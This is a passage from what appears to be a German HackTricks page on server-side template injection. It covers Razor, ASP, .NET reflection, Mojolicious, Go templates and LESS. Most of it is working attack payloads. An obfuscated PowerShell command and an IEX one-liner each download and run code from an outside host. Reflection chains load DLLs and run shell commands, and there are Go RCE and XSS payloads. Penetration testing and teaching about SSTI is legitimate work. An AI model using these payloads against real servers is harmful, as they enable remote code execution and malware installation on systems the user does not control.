  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

The .NET System.Diagnostics.Process.Start method can be used to start any process on the server and thus create a webshell. You can find a vulnerable webapp example in https://github.com/cnotin/RazorVulnerableApp

Weitere Informationen

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nichts
  • <%= response.write(date()) %> = <Datum>
xml
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Weitere Informationen

.Net Beschränkungen umgehen

Die .NET Reflection-Mechanismen können verwendet werden, um Blacklisting zu umgehen oder wenn Klassen nicht in der Assembly vorhanden sind. DLLs können zur Laufzeit geladen werden, wobei Methoden und Eigenschaften von einfachen Objekten aus zugänglich sind.

DLLs können wie folgt geladen werden:

  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))} - from filesystem.
  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])} - directly from request.

Vollständige Befehlsausführung:

{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}

Weitere Informationen

Mojolicious (Perl)

Auch wenn es Perl ist, verwendet es Tags wie ERB in Ruby.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI in GO

In Go's template engine kann die Nutzung mit spezifischen payloads bestätigt werden:

  • {{ . }}: Zeigt die Eingabedatenstruktur an. Zum Beispiel, wenn ein Objekt mit einem Password-Attribut übergeben wird, könnte {{ .Password }} dieses offenlegen.
  • {{printf "%s" "ssti" }}: Sollte die Zeichenkette "ssti" anzeigen.
  • {{html "ssti"}}, {{js "ssti"}}: Diese payloads sollten "ssti" zurückgeben, ohne "html" oder "js" anzuhängen. Weitere Direktiven können in der Go-Dokumentation here nachgelesen werden.

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

XSS Exploitation

Mit dem text/template-package ist XSS einfach, indem man den payload direkt einfügt. Im Gegensatz dazu enkodiert das html/template-package die Ausgabe, um dies zu verhindern (z. B. {{"<script>alert(1)</script>"}} ergibt &lt;script&gt;alert(1)&lt;/script&gt;). Dennoch können Template-Definition und -Aufruf in Go diese Enkodierung umgehen: {{define "T1"}}alert(1){{end}} {{template "T1"}}

vbnet Copy code

RCE Exploitation

Die RCE-Exploitation unterscheidet sich erheblich zwischen html/template und text/template. Das text/template-Modul erlaubt das direkte Aufrufen beliebiger öffentlicher Funktionen (mithilfe des “call”-Wertes), was im html/template nicht erlaubt ist. Dokumentation für diese Module ist verfügbar here for html/template und here for text/template.

Für RCE via SSTI in Go können Objektmethoden aufgerufen werden. Zum Beispiel, wenn das übergebene Objekt eine System-Methode hat, die Befehle ausführt, kann sie wie {{ .System "ls" }} ausgenutzt werden. Der Zugriff auf den Quellcode ist normalerweise nötig, um dies auszunutzen, wie im gegebenen Beispiel:

go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Weitere Informationen

LESS (CSS Preprocessor)

LESS ist ein beliebter CSS-Preprocessor, der Variablen, Mixins, Funktionen und die mächtige @import-Direktive hinzufügt. Während der Kompilierung wird die LESS-Engine die in @import-Anweisungen referenzierten Ressourcen abrufen und deren Inhalte in die resultierende CSS einbetten ("inline"), wenn die (inline)-Option verwendet wird.

{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}

Weitere Exploits

Siehe den Rest von https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection für weitere Exploits. Außerdem finden Sie interessante Informationen zu Tags in https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

Weiterführende Hilfe

Wenn Sie das nützlich finden, lesen Sie:

Tools

Brute-Force Detection List

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt

Praxis & Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks